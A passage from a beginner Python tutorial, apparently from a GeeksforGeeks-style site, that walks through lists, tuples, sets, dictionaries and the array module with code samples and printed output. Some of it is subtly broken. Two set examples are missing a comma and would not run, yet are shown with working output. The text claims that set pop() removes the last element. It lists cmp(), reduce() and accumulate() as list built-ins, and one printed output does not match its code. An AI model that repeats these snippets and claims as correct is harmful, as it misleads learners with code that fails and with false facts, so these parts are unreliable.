# accessing an element from the
# Multi-Dimensional List using
# index number
print("Accessing a element from a Multi-Dimensional list")
print(List[0][1])
print(List[1][0])
Output: 
Accessing a element from the list
Geeks
Geeks
Accessing a element from a Multi-Dimensional list
For
Geeks

 

Negative indexing

In Python, negative sequence indexes represent positions from the end of the array. Instead of having to compute the offset as in List[len(List)-3], it is enough to just write List[-3]. Negative indexing means beginning from the end, -1 refers to the last item, -2 refers to the second-last item, etc.

Python3




List = [1, 2, 'Geeks', 4, 'For', 6, 'Geeks']
  
# accessing an element using
# negative indexing
print("Accessing element using negative indexing")
  
# print the last element of list
print(List[-1])
  
# print the third last element of list
print(List[-3])
Output: 
Accessing element using negative indexing
Geeks
For

 

Removing Elements from the List

Using remove() method

Elements can be removed from the List by using the built-in remove() function but an Error arises if the element doesn’t exist in the list. Remove() method only removes one element at a time, to remove a range of elements, the iterator is used. The remove() method removes the specified item.

Note – Remove method in List will only remove the first occurrence of the searched element.

Python3




# Python program to demonstrate
# Removal of elements in a List
  
# Creating a List
List = [1, 2, 3, 4, 5, 6,
        7, 8, 9, 10, 11, 12]
print("Initial List: ")
print(List)
  
# Removing elements from List
# using Remove() method
List.remove(5)
List.remove(6)
print("\nList after Removal of two elements: ")
print(List)
  
# Removing elements from List
# using iterator method
for i in range(1, 5):
    List.remove(i)
print("\nList after Removing a range of elements: ")
print(List)
Output: 
Initial List: 
[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]

List after Removal of two elements: 
[1, 2, 3, 4, 7, 8, 9, 10, 11, 12]

List after Removing a range of elements: 
[7, 8, 9, 10, 11, 12]

 

Using pop() method

Pop() function can also be used to remove and return an element from the list, but by default it removes only the last element of the list, to remove an element from a specific position of the List, the index of the element is passed as an argument to the pop() method.

Python3




List = [1,2,3,4,5]
  
# Removing element from the 
# Set using the pop() method
List.pop()
print("\nList after popping an element: ")
print(List)
  
# Removing element at a 
# specific location from the 
# Set using the pop() method
List.pop(2)
print("\nList after popping a specific element: ")
print(List)
Output: 
List after popping an element: 
[1, 2, 3, 4]

List after popping a specific element: 
[1, 2, 4]

 

Slicing of a List

In Python List, there are multiple ways to print the whole List with all the elements, but to print a specific range of elements from the list, we use the Slice operation. Slice operation is performed on Lists with the use of a colon(:). To print elements from beginning to a range use [: Index], to print elements from end-use [:-Index], to print elements from specific Index till the end use [Index:], to print elements within a range, use [Start Index:End Index] and to print the whole List with the use of slicing operation, use [:]. Further, to print the whole List in reverse order, use [::-1].

Note – To print elements of List from rear-end, use Negative Indexes. 

python-list-slicing

Python3




# Python program to demonstrate
# Removal of elements in a List
  
# Creating a List
List = ['G', 'E', 'E', 'K', 'S', 'F',
        'O', 'R', 'G', 'E', 'E', 'K', 'S']
print("Initial List: ")
print(List)
  
# Print elements of a range
# using Slice operation
Sliced_List = List[3:8]
print("\nSlicing elements in a range 3-8: ")
print(Sliced_List)
  
# Print elements from a
# pre-defined point to end
Sliced_List = List[5:]
print("\nElements sliced from 5th "
      "element till the end: ")
print(Sliced_List)
  
# Printing elements from
# beginning till end
Sliced_List = List[:]
print("\nPrinting all elements using slice operation: ")
print(Sliced_List)
Output: 
Initial List: 
['G', 'E', 'E', 'K', 'S', 'F', 'O', 'R', 'G', 'E', 'E', 'K', 'S']

Slicing elements in a range 3-8: 
['K', 'S', 'F', 'O', 'R']

Elements sliced from 5th element till the end: 
['F', 'O', 'R', 'G', 'E', 'E', 'K', 'S']

Printing all elements using slice operation: 
['G', 'E', 'E', 'K', 'S', 'F', 'O', 'R', 'G', 'E', 'E', 'K', 'S']

 

Negative index List slicing

Python3




# Creating a List
List = ['G', 'E', 'E', 'K', 'S', 'F',
        'O', 'R', 'G', 'E', 'E', 'K', 'S']
print("Initial List: ")
print(List)
  
# Print elements from beginning
# to a pre-defined point using Slice
Sliced_List = List[:-6]
print("\nElements sliced till 6th element from last: ")
print(Sliced_List)
  
# Print elements of a range
# using negative index List slicing
Sliced_List = List[-6:-1]
print("\nElements sliced from index -6 to -1")
print(Sliced_List)
  
# Printing elements in reverse
# using Slice operation
Sliced_List = List[::-1]
print("\nPrinting List in reverse: ")
print(Sliced_List)
Output: 
Initial List: 
['G', 'E', 'E', 'K', 'S', 'F', 'O', 'R', 'G', 'E', 'E', 'K', 'S']

Elements sliced till 6th element from last: 
['G', 'E', 'E', 'K', 'S', 'F', 'O']

Elements sliced from index -6 to -1
['R', 'G', 'E', 'E', 'K']

Printing List in reverse: 
['S', 'K', 'E', 'E', 'G', 'R', 'O', 'F', 'S', 'K', 'E', 'E', 'G']

 

List Comprehension

List comprehensions are used for creating new lists from other iterables like tuples, strings, arrays, lists, etc.
A list comprehension consists of brackets containing the expression, which is executed for each element along with the for loop to iterate over each element. 

Syntax:

newList = [ expression(element) for element in oldList if condition ]

Example: 

Python3




# Python program to demonstrate list
# comprehension in Python
  
# below list contains square of all
# odd numbers from range 1 to 10
odd_square = [x ** 2 for x in range(1, 11) if x % 2 == 1]
print(odd_square)

Output:

[1, 9, 25, 49, 81]

For better understanding, the above code is similar to – 

Python3




# for understanding, above generation is same as,
odd_square = []
  
for x in range(1, 11):
    if x % 2 == 1:
        odd_square.append(x**2)
  
print(odd_square)

Output:

[1, 9, 25, 49, 81]

Refer to the below articles to get detailed information about List Comprehension.

Operations on List

List Methods

FunctionDescription
Append()Add an element to the end of the list
Extend()Add all elements of a list to another list
Insert()Insert an item at the defined index
Remove()Removes an item from the list
Pop()Removes and returns an element at the given index
Clear()Removes all items from the list
Index()Returns the index of the first matched item
Count()Returns the count of the number of items passed as an argument
Sort()Sort items in a list in ascending order
Reverse()Reverse the order of items in the list
copy()Returns a copy of the list

Built-in functions with List

FunctionDescription
reduce()apply a particular function passed in its argument to all of the list elements stores the intermediate result and only returns the final summation value
sum()Sums up the numbers in the list
ord()Returns an integer representing the Unicode code point of the given Unicode character
cmp()This function returns 1 if the first list is “greater” than the second list
max()return maximum element of a given list
min()return minimum element of a given list
all()Returns true if all element is true or if the list is empty
any()return true if any element of the list is true. if the list is empty, return false
len()Returns length of the list or size of the list
enumerate()Returns enumerate object of the list
accumulate()apply a particular function passed in its argument to all of the list elements returns a list containing the intermediate results
filter()tests if each element of a list is true or not
map()returns a list of the results after applying the given function to each item of a given iterable
lambda()This function can have any number of arguments but only one expression, which is evaluated and returned.

Recent articles on Lists

More videos on Python Lists: Python List – Set 2

More on Python List –

Useful Links: 


My Personal Notes arrow_drop_up

Python Tuples

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 29 Dec, 2021

Tuple is a collection of Python objects much like a list. The sequence of values stored in a tuple can be of any type, and they are indexed by integers. 

Values of a tuple are syntactically separated by ‘commas’. Although it is not necessary, it is more common to define a tuple by closing the sequence of values in parentheses. This helps in understanding the Python tuples more easily.

Creating a Tuple

In Python, tuples are created by placing a sequence of values separated by ‘comma’ with or without the use of parentheses for grouping the data sequence.

Note: Creation of Python tuple without the use of parentheses is known as Tuple Packing.  

Python program to demonstrate the addition of elements in a Tuple.

Python3




# Creating an empty Tuple
Tuple1 = ()
print("Initial empty Tuple: ")
print(Tuple1)
 
# Creating a Tuple
# with the use of string
Tuple1 = ('Geeks', 'For')
print("\nTuple with the use of String: ")
print(Tuple1)
 
# Creating a Tuple with
# the use of list
list1 = [1, 2, 4, 5, 6]
print("\nTuple using List: ")
print(tuple(list1))
 
# Creating a Tuple
# with the use of built-in function
Tuple1 = tuple('Geeks')
print("\nTuple with the use of function: ")
print(Tuple1)

Output: 

Initial empty Tuple: 
()

Tuple with the use of String: 
('Geeks', 'For')

Tuple using List: 
(1, 2, 4, 5, 6)

Tuple with the use of function: 
('G', 'e', 'e', 'k', 's') 

Creating a Tuple with Mixed Datatypes.

Tuples can contain any number of elements and of any datatype (like strings, integers, list, etc.). Tuples can also be created with a single element, but it is a bit tricky. Having one element in the parentheses is not sufficient, there must be a trailing ‘comma’ to make it a tuple. 

Python3




# Creating a Tuple
# with Mixed Datatype
Tuple1 = (5, 'Welcome', 7, 'Geeks')
print("\nTuple with Mixed Datatypes: ")
print(Tuple1)
 
# Creating a Tuple
# with nested tuples
Tuple1 = (0, 1, 2, 3)
Tuple2 = ('python', 'geek')
Tuple3 = (Tuple1, Tuple2)
print("\nTuple with nested tuples: ")
print(Tuple3)
 
# Creating a Tuple
# with repetition
Tuple1 = ('Geeks',) * 3
print("\nTuple with repetition: ")
print(Tuple1)
 
# Creating a Tuple
# with the use of loop
Tuple1 = ('Geeks')
n = 5
print("\nTuple with a loop")
for i in range(int(n)):
    Tuple1 = (Tuple1,)
    print(Tuple1)

Output: 

Tuple with Mixed Datatypes: 
(5, 'Welcome', 7, 'Geeks')

Tuple with nested tuples: 
((0, 1, 2, 3), ('python', 'geek'))

Tuple with repetition: 
('Geeks', 'Geeks', 'Geeks')

Tuple with a loop
('Geeks',)
(('Geeks',),)
((('Geeks',),),)
(((('Geeks',),),),)
((((('Geeks',),),),),)

Accessing of Tuples

Tuples are immutable, and usually, they contain a sequence of heterogeneous elements that are accessed via unpacking or indexing (or even by attribute in the case of named tuples). Lists are mutable, and their elements are usually homogeneous and are accessed by iterating over the list.

Note: In unpacking of tuple number of variables on the left-hand side should be equal to a number of values in given tuple a. 

Python3




# Accessing Tuple
# with Indexing
Tuple1 = tuple("Geeks")
print("\nFirst element of Tuple: ")
print(Tuple1[0])
 
 
# Tuple unpacking
Tuple1 = ("Geeks", "For", "Geeks")
 
# This line unpack
# values of Tuple1
a, b, c = Tuple1
print("\nValues after unpacking: ")
print(a)
print(b)
print(c)

Output: 

First element of Tuple: 
G

Values after unpacking: 
Geeks
For
Geeks

Concatenation of Tuples

Concatenation of tuple is the process of joining two or more Tuples. Concatenation is done by the use of ‘+’ operator. Concatenation of tuples is done always from the end of the original tuple. Other arithmetic operations do not apply on Tuples. 

Note- Only the same datatypes can be combined with concatenation, an error arises if a list and a tuple are combined. 

Python3




# Concatenation of tuples
Tuple1 = (0, 1, 2, 3)
Tuple2 = ('Geeks', 'For', 'Geeks')
 
Tuple3 = Tuple1 + Tuple2
 
# Printing first Tuple
print("Tuple 1: ")
print(Tuple1)
 
# Printing Second Tuple
print("\nTuple2: ")
print(Tuple2)
 
# Printing Final Tuple
print("\nTuples after Concatenation: ")
print(Tuple3)

Output: 

Tuple 1: 
(0, 1, 2, 3)

Tuple2: 
('Geeks', 'For', 'Geeks')

Tuples after Concatenation: 
(0, 1, 2, 3, 'Geeks', 'For', 'Geeks')

Slicing of Tuple

Slicing of a Tuple is done to fetch a specific range or slice of sub-elements from a Tuple. Slicing can also be done to lists and arrays. Indexing in a list results to fetching a single element whereas Slicing allows to fetch a set of elements. 

Note- Negative Increment values can also be used to reverse the sequence of Tuples. 


Python3




# Slicing of a Tuple
 
# Slicing of a Tuple
# with Numbers
Tuple1 = tuple('GEEKSFORGEEKS')
 
# Removing First element
print("Removal of First Element: ")
print(Tuple1[1:])
 
# Reversing the Tuple
print("\nTuple after sequence of Element is reversed: ")
print(Tuple1[::-1])
 
# Printing elements of a Range
print("\nPrinting elements between Range 4-9: ")
print(Tuple1[4:9])

Output: 

Removal of First Element: 
('E', 'E', 'K', 'S', 'F', 'O', 'R', 'G', 'E', 'E', 'K', 'S')

Tuple after sequence of Element is reversed: 
('S', 'K', 'E', 'E', 'G', 'R', 'O', 'F', 'S', 'K', 'E', 'E', 'G')

Printing elements between Range 4-9: 
('S', 'F', 'O', 'R', 'G')

Deleting a Tuple

Tuples are immutable and hence they do not allow deletion of a part of it. The entire tuple gets deleted by the use of del() method. 

Note- Printing of Tuple after deletion results in an Error. 

Python




# Deleting a Tuple
 
Tuple1 = (0, 1, 2, 3, 4)
del Tuple1
 
print(Tuple1)

Traceback (most recent call last): 
File “/home/efa50fd0709dec08434191f32275928a.py”, line 7, in 
print(Tuple1) 
NameError: name ‘Tuple1’ is not defined

Built-In Methods

Built-in-MethodDescription
index( )Find in the tuple and returns the index of the given value where it’s available
count( )Returns the frequency of occurrence of a specified value

Built-In Functions

Built-in FunctionDescription
all()Returns true if all element are true or if tuple is empty
any()return true if any element of the tuple is true. if tuple is empty, return false
len()Returns length of the tuple or size of the tuple
enumerate()Returns enumerate object of tuple
max()return maximum element of given tuple
min()return minimum element of given tuple
sum()Sums up the numbers in the tuple
sorted()input elements in the tuple and return a new sorted list
tuple()Convert an iterable to a tuple.

Recent Articles on Tuple

Tuples Programs

Useful Links:


My Personal Notes arrow_drop_up

Python Sets

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 02 Feb, 2022

In Python, Set is an unordered collection of data type that is iterable, mutable and has no duplicate elements. The order of elements in a set is undefined though it may consist of various elements.

The major advantage of using a set, as opposed to a list, is that it has a highly optimized method for checking whether a specific element is contained in the set.

Creating a Set

Sets can be created by using the built-in set() function with an iterable object or a sequence by placing the sequence inside curly braces, separated by ‘comma’.

Note – A set cannot have mutable elements like a list or dictionary, as it is mutable.  

Python3




# Python program to demonstrate 
# Creation of Set in Python
  
# Creating a Set
set1 = set()
print("Initial blank Set: ")
print(set1)
  
# Creating a Set with 
# the use of a String
set1 = set("GeeksForGeeks")
print("\nSet with the use of String: ")
print(set1)
  
# Creating a Set with
# the use of Constructor
# (Using object to Store String)
String = 'GeeksForGeeks'
set1 = set(String)
print("\nSet with the use of an Object: " )
print(set1)
  
# Creating a Set with
# the use of a List
set1 = set(["Geeks", "For", "Geeks"])
print("\nSet with the use of List: ")
print(set1)

Output: 

Initial blank Set: 
set()

Set with the use of String: 
{'e', 'r', 'k', 'o', 'G', 's', 'F'}

Set with the use of an Object: 
{'r', 'o', 'e', 'F', 's', 'k', 'G'}

Set with the use of List: 
{'Geeks', 'For'}

A set contains only unique elements but at the time of set creation, multiple duplicate values can also be passed. Order of elements in a set is undefined and is unchangeable. Type of elements in a set need not be the same, various mixed up data type values can also be passed to the set. 

Python3




# Creating a Set with 
# a List of Numbers
# (Having duplicate values)
set1 = set([1, 2, 4, 4, 3, 3, 3, 6, 5])
print("\nSet with the use of Numbers: ")
print(set1)
  
# Creating a Set with 
# a mixed type of values
# (Having numbers and strings)
set1 = set([1, 2, 'Geeks', 4, 'For', 6, 'Geeks'])
print("\nSet with the use of Mixed Values")
print(set1)

Output: 

Set with the use of Numbers: 
{1, 2, 3, 4, 5, 6}

Set with the use of Mixed Values
{1, 2, 4, 'Geeks', 6, 'For'}

Adding Elements to a Set

Using add() method

Elements can be added to the Set by using built-in add() function. Only one element at a time can be added to the set by using add() method, loops are used to add multiple elements at a time with the use of add() method.

Note – Lists cannot be added to a set as elements because Lists are not hashable whereas Tuples can be added because tuples are immutable and hence Hashable. 

Python3




# Python program to demonstrate 
# Addition of elements in a Set
  
# Creating a Set
set1 = set()
print("Initial blank Set: ")
print(set1)
  
# Adding element and tuple to the Set
set1.add(8)
set1.add(9)
set1.add((6,7))
print("\nSet after Addition of Three elements: ")
print(set1)
  
# Adding elements to the Set
# using Iterator
for i in range(1, 6):
    set1.add(i)
print("\nSet after Addition of elements from 1-5: ")
print(set1)

Output: 

Initial blank Set: 
set()

Set after Addition of Three elements: 
{8, 9, (6, 7)}

Set after Addition of elements from 1-5: 
{1, 2, 3, (6, 7), 4, 5, 8, 9}

Using update() method

For addition of two or more elements Update() method is used. The update() method accepts lists, strings, tuples as well as other sets as its arguments. In all of these cases, duplicate elements are avoided.

Python3




# Python program to demonstrate 
# Addition of elements in a Set
  
# Addition of elements to the Set
# using Update function
set1 = set([ 4, 5, (6, 7)])
set1.update([10, 11])
print("\nSet after Addition of elements using Update: ")
print(set1)

Output: 

Set after Addition of elements using Update: 
{10, 11, 4, 5, (6, 7)}
 

Accessing a Set

Set items cannot be accessed by referring to an index, since sets are unordered the items has no index. But you can loop through the set items using a for loop, or ask if a specified value is present in a set, by using the in keyword.

Python3




# Python program to demonstrate
# Accessing of elements in a set
  
# Creating a set
set1 = set(["Geeks", "For", "Geeks"])
print("\nInitial set")
print(set1)
  
# Accessing element using
# for loop
print("\nElements of set: ")
for i in set1:
    print(i, end=" ")
  
# Checking the element
# using in keyword
print("Geeks" in set1)

Output: 

Initial set: 
{'Geeks', 'For'}

Elements of set: 
Geeks For 

True 

Removing elements from the Set

Using remove() method or discard() method

Elements can be removed from the Set by using built-in remove() function but a KeyError arises if element doesn’t exist in the set. To remove elements from a set without KeyError, use discard(), if the element doesn’t exist in the set, it remains unchanged.

Python3




# Python program to demonstrate 
# Deletion of elements in a Set
  
# Creating a Set
set1 = set([1, 2, 3, 4, 5, 6
            7, 8, 9, 10, 11, 12])
print("Initial Set: ")
print(set1)
  
# Removing elements from Set
# using Remove() method
set1.remove(5)
set1.remove(6)
print("\nSet after Removal of two elements: ")
print(set1)
  
# Removing elements from Set
# using Discard() method
set1.discard(8)
set1.discard(9)
print("\nSet after Discarding two elements: ")
print(set1)
  
# Removing elements from Set
# using iterator method
for i in range(1, 5):
    set1.remove(i)
print("\nSet after Removing a range of elements: ")
print(set1)

Output: 

Initial Set: 
{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}

Set after Removal of two elements: 
{1, 2, 3, 4, 7, 8, 9, 10, 11, 12}

Set after Discarding two elements: 
{1, 2, 3, 4, 7, 10, 11, 12}

Set after Removing a range of elements: 
{7, 10, 11, 12}

Using pop() method

Pop() function can also be used to remove and return an element from the set, but it removes only the last element of the set. 
Note – If the set is unordered then there’s no such way to determine which element is popped by using the pop() function. 

Python3




# Python program to demonstrate 
# Deletion of elements in a Set
  
# Creating a Set
set1 = set([1, 2, 3, 4, 5, 6
            7, 8, 9, 10, 11, 12])
print("Initial Set: ")
print(set1)
  
# Removing element from the 
# Set using the pop() method
set1.pop()
print("\nSet after popping an element: ")
print(set1)

Output: 

Initial Set: 
{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}

Set after popping an element: 
{2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}

Using clear() method

To remove all the elements from the set, clear() function is used. 

Python3




#Creating a set
set1 = set([1,2,3,4,5])
print("\n Initial set: ")
print(set1)
  
  
# Removing all the elements from 
# Set using clear() method
set1.clear()
print("\nSet after clearing all the elements: ")
print(set1)

Output: 

Initial set:
{1, 2, 3, 4, 5}

Set after clearing all the elements: 
set()

Frozen sets in Python are immutable objects that only support methods and operators that produce a result without affecting the frozen set or sets to which they are applied. While elements of a set can be modified at any time, elements of the frozen set remain the same after creation. 

If no parameters are passed, it returns an empty frozenset.  

Python3




# Python program to demonstrate 
# working of a FrozenSet 
  
# Creating a Set
String = ('G', 'e', 'e', 'k', 's', 'F', 'o', 'r')
  
Fset1 = frozenset(String)
print("The FrozenSet is: ")
print(Fset1)
  
# To print Empty Frozen Set
# No parameter is passed
print("\nEmpty FrozenSet: ")
print(frozenset())

Set Methods

FunctionDescription
add()Adds an element to a set
remove()Removes an element from a set. If the element is not present in the set, raise a KeyError
clear()Removes all elements form a set
copy()Returns a shallow copy of a set
pop()Removes and returns an arbitrary set element. Raise KeyError if the set is empty
update()Updates a set with the union of itself and others
union()Returns the union of sets in a new set
difference()Returns the difference of two or more sets as a new set
difference_update()Removes all elements of another set from this set
discard()Removes an element from set if it is a member. (Do nothing if the element is not in set)
intersection()Returns the intersection of two sets as a new set
intersection_update()Updates the set with the intersection of itself and another
isdisjoint()Returns True if two sets have a null intersection
issubset()Returns True if another set contains this set
issuperset()Returns True if this set contains another set
symmetric_difference()Returns the symmetric difference of two sets as a new set
symmetric_difference_update()Updates a set with the symmetric difference of itself and another

Recent Articles on Python Sets

Set Programs

Useful Links


My Personal Notes arrow_drop_up

Python Dictionary

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 31 May, 2022

Dictionary in Python is an unordered collection of data values, used to store data values like a map, which, unlike other data types that hold only a single value as an element, Dictionary holds key:value pair. Key-Value is provided in the dictionary to make it more optimised. 
 

Creating a Dictionary

In Python, a dictionary can be created by placing a sequence of elements within curly {} braces, separated by ‘comma’. Dictionary holds pairs of values, one being the Key and the other corresponding pair element being its Key:value. Values in a dictionary can be of any data type and can be duplicated, whereas keys can’t be repeated and must be immutable
 

Note – Dictionary keys are case sensitive, the same name but different cases of Key will be treated distinctly. 

Python3




# Creating a Dictionary
# with Integer Keys
Dict = {1: 'Geeks', 2: 'For', 3: 'Geeks'}
print("\nDictionary with the use of Integer Keys: ")
print(Dict)
 
# Creating a Dictionary
# with Mixed keys
Dict = {'Name': 'Geeks', 1: [1, 2, 3, 4]}
print("\nDictionary with the use of Mixed Keys: ")
print(Dict)
Output
Dictionary with the use of Integer Keys: 
{1: 'Geeks', 2: 'For', 3: 'Geeks'}

Dictionary with the use of Mixed Keys: 
{'Name': 'Geeks', 1: [1, 2, 3, 4]}

Dictionary can also be created by the built-in function dict(). An empty dictionary can be created by just placing to curly braces{}. 

Python3




# Creating an empty Dictionary
Dict = {}
print("Empty Dictionary: ")
print(Dict)
 
# Creating a Dictionary
# with dict() method
Dict = dict({1: 'Geeks', 2: 'For', 3:'Geeks'})
print("\nDictionary with the use of dict(): ")
print(Dict)
 
# Creating a Dictionary
# with each item as a Pair
Dict = dict([(1, 'Geeks'), (2, 'For')])
print("\nDictionary with each item as a pair: ")
print(Dict)
Output
Empty Dictionary: 
{}

Dictionary with the use of dict(): 
{1: 'Geeks', 2: 'For', 3: 'Geeks'}

Dictionary with each item as a pair: 
{1: 'Geeks', 2: 'For'}

Nested Dictionary:

 

Python3




# Creating a Nested Dictionary
# as shown in the below image
Dict = {1: 'Geeks', 2: 'For',
        3:{'A' : 'Welcome', 'B' : 'To', 'C' : 'Geeks'}}
 
print(Dict)
Output
{1: 'Geeks', 2: 'For', 3: {'A': 'Welcome', 'B': 'To', 'C': 'Geeks'}}

Adding elements to a Dictionary

In Python Dictionary, the addition of elements can be done in multiple ways. One value at a time can be added to a Dictionary by defining value along with the key e.g. Dict[Key] = ‘Value’. Updating an existing value in a Dictionary can be done by using the built-in update() method. Nested key values can also be added to an existing Dictionary. 
 

Note- While adding a value, if the key-value already exists, the value gets updated otherwise a new Key with the value is added to the Dictionary.

Python3




# Creating an empty Dictionary
Dict = {}
print("Empty Dictionary: ")
print(Dict)
 
# Adding elements one at a time
Dict[0] = 'Geeks'
Dict[2] = 'For'
Dict[3] = 1
print("\nDictionary after adding 3 elements: ")
print(Dict)
 
# Adding set of values
# to a single Key
Dict['Value_set'] = 2, 3, 4
print("\nDictionary after adding 3 elements: ")
print(Dict)
 
# Updating existing Key's Value
Dict[2] = 'Welcome'
print("\nUpdated key value: ")
print(Dict)
 
# Adding Nested Key value to Dictionary
Dict[5] = {'Nested' :{'1' : 'Life', '2' : 'Geeks'}}
print("\nAdding a Nested Key: ")
print(Dict)
Output
Empty Dictionary: 
{}

Dictionary after adding 3 elements: 
{0: 'Geeks', 2: 'For', 3: 1}

Dictionary after adding 3 elements: 
{0: 'Geeks', 2: 'For', 3: 1, 'Value_set': (2, 3, 4)}

Updated key value: 
{0: 'Geeks', 2: 'Welcome', 3: 1, 'Value_set': (2, 3, 4)}

Adding a Nested Key: 
{0: 'Geeks', 2: 'Welcome', 3: 1, 'Value_set': (2, 3, 4), 5: {'Nested': {'1': 'Life', '2': 'Geeks'}}}

Accessing elements of a Dictionary

In order to access the items of a dictionary refer to its key name. Key can be used inside square brackets. 

Python3




# Python program to demonstrate 
# accessing a element from a Dictionary
 
# Creating a Dictionary
Dict = {1: 'Geeks', 'name': 'For', 3: 'Geeks'}
 
# accessing a element using key
print("Accessing a element using key:")
print(Dict['name'])
 
# accessing a element using key
print("Accessing a element using key:")
print(Dict[1])
Output
Accessing a element using key:
For
Accessing a element using key:
Geeks

There is also a method called get() that will also help in accessing the element from a dictionary.This method accepts key as argument and returns the value.

Python3




# Creating a Dictionary
Dict = {1: 'Geeks', 'name': 'For', 3: 'Geeks'}
 
# accessing a element using get()
# method
print("Accessing a element using get:")
print(Dict.get(3))
Output
Accessing a element using get:
Geeks

Accessing an element of a nested dictionary

In order to access the value of any key in the nested dictionary, use indexing [] syntax.

Python3




# Creating a Dictionary
Dict = {'Dict1': {1: 'Geeks'},
        'Dict2': {'Name': 'For'}}
 
# Accessing element using key
print(Dict['Dict1'])
print(Dict['Dict1'][1])
print(Dict['Dict2']['Name'])
Output
{1: 'Geeks'}
Geeks
For

                                                                                           Dictionary methods

clear() – Remove all the elements from the dictionary

copy() – Returns a copy of the dictionary

get() – Returns the value of specified key

items() – Returns a list containing a tuple for each key value pair

keys() – Returns a list containing dictionary’s keys

pop() – Remove the element with specified key

popitem() – Removes the last inserted key-value pair

update() – Updates dictionary with specified key-value pairs

values() – Returns a list of all the values of dictionary

Python3




# demo for all dictionary methods
dict1={1:"Python",2:"Java",3:"Ruby",4:"Scala"}
#copy() method
 
dict2=dict1.copy()
print(dict2)
 
#clear() method
dict1.clear()
print(dict1)
 
#get() method
print(dict2.get(1))
 
#items() method
print(dict2.items())
 
#keys() method
print(dict2.keys())
 
#pop() method
dict2.pop(4)
print(dict2)
 
#popitem() method
dict2.popitem()
print(dict2)
 
#update() method
dict2.update({3:"Scala"})
print(dict2)
 
# values() method
print(dict2.values())
Output
{1: 'Python', 2: 'Java', 3: 'Ruby', 4: 'Scala'}
{}
Python
dict_items([(1, 'Python'), (2, 'Java'), (3, 'Ruby'), (4, 'Scala')])
dict_keys([1, 2, 3, 4])
{1: 'Python', 2: 'Java', 3: 'Ruby'}
{1: 'Python', 2: 'Java'}
{1: 'Python', 2: 'Java', 3: 'Scala'}
dict_values(['Python', 'Java', 'Scala'])

My Personal Notes arrow_drop_up

Python Arrays

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 19 Jan, 2022

An array is a collection of items stored at contiguous memory locations. The idea is to store multiple items of the same type together. This makes it easier to calculate the position of each element by simply adding an offset to a base value, i.e., the memory location of the first element of the array (generally denoted by the name of the array).
For simplicity, we can think of an array a fleet of stairs where on each step is placed a value (let’s say one of your friends). Here, you can identify the location of any of your friends by simply knowing the count of the step they are on. Array can be handled in Python by a module named array. They can be useful when we have to manipulate only a specific data type values. A user can treat lists as arrays. However, user cannot constraint the type of elements stored in a list. If you create arrays using the array module, all elements of the array must be of the same type. 
 

 

Creating a Array

Array in Python can be created by importing array module. array(data_type, value_list) is used to create an array with data type and value list specified in its arguments. 
 

Python3




# Python program to demonstrate
# Creation of Array
 
# importing "array" for array creations
import array as arr
 
# creating an array with integer type
a = arr.array('i', [1, 2, 3])
 
# printing original array
print ("The new created array is : ", end =" ")
for i in range (0, 3):
    print (a[i], end =" ")
print()
 
# creating an array with float type
b = arr.array('d', [2.5, 3.2, 3.3])
 
# printing original array
print ("The new created array is : ", end =" ")
for i in range (0, 3):
    print (b[i], end =" ")
    

Output : 

The new created array is :  1 2 3 
The new created array is :  2.5 3.2 3.3 

Some of the data types are mentioned below which will help in creating an array of different data types. 
 

 

Adding Elements to a Array

Elements can be added to the Array by using built-in insert() function. Insert is used to insert one or more data elements into an array. Based on the requirement, a new element can be added at the beginning, end, or any given index of array. append() is also used to add the value mentioned in its arguments at the end of the array. 
 

Python3




# Python program to demonstrate
# Adding Elements to a Array
 
# importing "array" for array creations
import array as arr
 
# array with int type
a = arr.array('i', [1, 2, 3])
 
 
print ("Array before insertion : ", end =" ")
for i in range (0, 3):
    print (a[i], end =" ")
print()
 
# inserting array using
# insert() function
a.insert(1, 4)
 
print ("Array after insertion : ", end =" ")
for i in (a):
    print (i, end =" ")
print()
 
# array with float type
b = arr.array('d', [2.5, 3.2, 3.3])
 
print ("Array before insertion : ", end =" ")
for i in range (0, 3):
    print (b[i], end =" ")
print()
 
# adding an element using append()
b.append(4.4)
 
print ("Array after insertion : ", end =" ")
for i in (b):
    print (i, end =" ")
print()

Output : 

Array before insertion : 1 2 3 
Array after insertion :  1 4 2 3 
Array before insertion : 2.5 3.2 3.3 
Array after insertion :  2.5 3.2 3.3 4.4 

 

Accessing elements from the Array

In order to access the array items refer to the index number. Use the index operator [ ] to access an item in a array. The index must be an integer. 
 

Python3




# Python program to demonstrate
# accessing of element from list
 
# importing array module
import array as arr
 
# array with int type
a = arr.array('i', [1, 2, 3, 4, 5, 6])
 
# accessing element of array
print("Access element is: ", a[0])
 
# accessing element of array
print("Access element is: ", a[3])
 
# array with float type
b = arr.array('d', [2.5, 3.2, 3.3])
 
# accessing element of array
print("Access element is: ", b[1])
 
# accessing element of array
print("Access element is: ", b[2])

Output : 

Access element is:  1
Access element is:  4
Access element is:  3.2
Access element is:  3.3

 

Removing Elements from the Array

Elements can be removed from the array by using built-in remove() function but an Error arises if element doesn’t exist in the set. Remove() method only removes one element at a time, to remove range of elements, iterator is used. pop() function can also be used to remove and return an element from the array, but by default it removes only the last element of the array, to remove element from a specific position of the array, index of the element is passed as an argument to the pop() method.
Note – Remove method in List will only remove the first occurrence of the searched element. 
 

Python3




# Python program to demonstrate
# Removal of elements in a Array
  
# importing "array" for array operations
import array
  
# initializing array with array values
# initializes array with signed integers
arr = array.array('i', [1, 2, 3, 1, 5])
 
# printing original array
print ("The new created array is : ", end ="")
for i in range (0, 5):
    print (arr[i], end =" ")
 
print ("\r")
 
# using pop() to remove element at 2nd position
print ("The popped element is : ", end ="")
print (arr.pop(2))
 
# printing array after popping
print ("The array after popping is : ", end ="")
for i in range (0, 4):
    print (arr[i], end =" ")
 
print("\r")
 
# using remove() to remove 1st occurrence of 1
arr.remove(1)
 
# printing array after removing
print ("The array after removing is : ", end ="")
for i in range (0, 3):
    print (arr[i], end =" ")

Output: 

The new created array is : 1 2 3 1 5 
The popped element is : 3
The array after popping is : 1 2 1 5 
The array after removing is : 2 1 5 

 

Slicing of a Array

